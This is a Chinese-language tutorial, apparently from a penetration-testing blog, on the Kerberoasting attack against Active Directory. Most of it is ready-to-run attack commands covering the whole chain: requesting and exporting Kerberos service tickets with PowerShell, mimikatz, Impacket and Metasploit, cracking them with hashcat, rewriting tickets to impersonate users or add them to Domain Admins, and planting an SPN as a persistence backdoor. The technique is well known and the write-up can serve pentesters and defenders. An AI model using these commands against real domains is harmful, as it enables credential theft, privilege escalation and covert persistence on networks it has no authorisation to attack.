域渗透-Kerberoasting Attack
一、概述
黑客可以使用有效的域用户的身份验证票证(TGT)去请求运行在服务器上的一个或多个目标服务的服务票证。DC在活动目录中查找SPN,并使用与SPN关联的服务帐户加密票证,以便服务能够验证用户是否可以访问。请求的Kerberos服务票证的加密类型是RC4_HMAC_MD5,这意味着服务帐户的NTLM密码哈希用于加密服务票证。黑客将收到的TGS票据离线进行破解,即可得到目标服务帐号的HASH,这个称之为Kerberoast攻击。如果我们有一个为域用户帐户注册的任意SPN,那么该用户帐户的明文密码的NTLM哈希值就将用于创建服务票证。这就是Kerberoasting攻击的关键。
二、Kerberoasting攻击流程
- 发现服务主体名称(SPN)
- 请求服务票据
- 导出服务票据
- 破解服务票据
- 重写服务票据&RAM注入
三、请求服务票据
Powershell
查看.net版本
具体可以参考
https://docs.microsoft.com/zh-cn/dotnet/framework/migration-guide/how-to-determine-which-versions-are-installed
reg query "HKLM\Software\Microsoft\.NETFramework"
reg query "HKLM\Software\Microsoft\NET Framework Setup\NDP"
测试 .net 2.0无法使用
Add-Type -AssemblyName System.IdentityModel
New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "mssqlsvc/comp.test.com:1433"
批量请求所有SPN
Add-Type -AssemblyName System.IdentityModel
setspn.exe -q */* | Select-String '^CN' -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList $_.Context.PostContext[0].Trim() }
mimikatz
mimikatz.exe "kerberos::ask /target:mssqlsvc/comp.test.com:1433" "exit"
GetUserSPNs
https://github.com/SecureAuthCorp/impacket
该工具支持提供域用户凭证从非域成员机器请求票据
python3 GetUserSPNs.py -request test.com/song -dc-ip 192.168.164.130
查看票据是否申请成功
klist
Mimikatz
mimikatz.exe "kerberos::list" "exit"
MSF
load kiwi
kerberos_ticket_list
kiwi_cmd kerberos::list
RiskySPN
https://github.com/cyberark/RiskySPN
powershell -ExecutionPolicy Bypass
Import-Module .\Find-PotentiallyCrackableAccounts.ps1
Find-PotentiallyCrackableAccounts -FullData -Verbose
Find-PotentiallyCrackableAccounts -Domain "test.com"
Import-Module .\Export-PotentiallyCrackableAccounts.ps1
Export-PotentiallyCrackableAccounts
PS:选择Kerberos服务票证是弱密码的,容易破解,可以通过下列因素来确定:
(1)SPNs绑定到域用户账户
(2)最后一次密码设置(Password last set)
(3)密码过期时间
(4)最后一次登录(Last logon)
(5)加密方式(TGT支持AES256,AES128,RC4-HMAC和3DES等加密方式,其中RC4_HMAC_MD5可破解)
导出票据
mimikatz
mimikatz.exe "standard::base64" "kerberos::list /export" "exit"
kerberoast
https://github.com/xan7r/kerberoast
Import-Module .\autokerberoast_noMimikatz.ps1
Invoke-AutoKerberoast
Invoke-AutoKerberoast -GroupName "Domain Admins"
Invoke-AutoKerberoast -Domain dev.testlab.local
Invoke-AutoKerberoast -SPN MSSQLSvc/sqlBox.testlab.local:1433
Invoke-AutoKerberoast -DomainController 172.20.200.100
Get-TGSCipher
https://github.com/cyberark/RiskySPN
Import-Module .\Get-TGSCipher.ps1
Get-TGSCipher -SPN "mssqlsvc/comp.test.com:1433" -Format Hashcat
测试报错
破解票据
tgsrepcrack.py
tgscrack
https://github.com/leechristensen/tgscrack
有好几种方法 这里使用kali自带的hashcat
hashcat -m 13100 hash.txt passwd.txt -o found.txt --force
重写服务票据&RAM注入
mimikatz.exe "kerberos::ptt PENTESTLAB.kirbi" "exit"
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -u 500
python kerberoast.py -p Password123 -r PENTESTLAB_001.kirbi -w PENTESTLAB.kirbi -g 512
Kerberos票据使用密码的NTLM哈希签名。如果票据散列已被破解,那么可以使用Kerberoast python脚本重写票据。这将允许在服务将被访问时模拟任何域用户或伪造账户。此外,提权也是可能的,因为用户可以被添加到诸如域管理员的高权限组中。
后门利用
在获取SPN的修改权限后,可以为指定的域用户添加一个SPN,这样可以随时获得该域用户的TGS,经过破解后获得明文口令。例如为域用户song添加SPN VNC/comp.test.com,参数如下:
setspn.exe -U -A VNC/comp.test.com song
参考文章
Kerberoasting-Attack
https://www.freebuf.com/articles/system/174967.html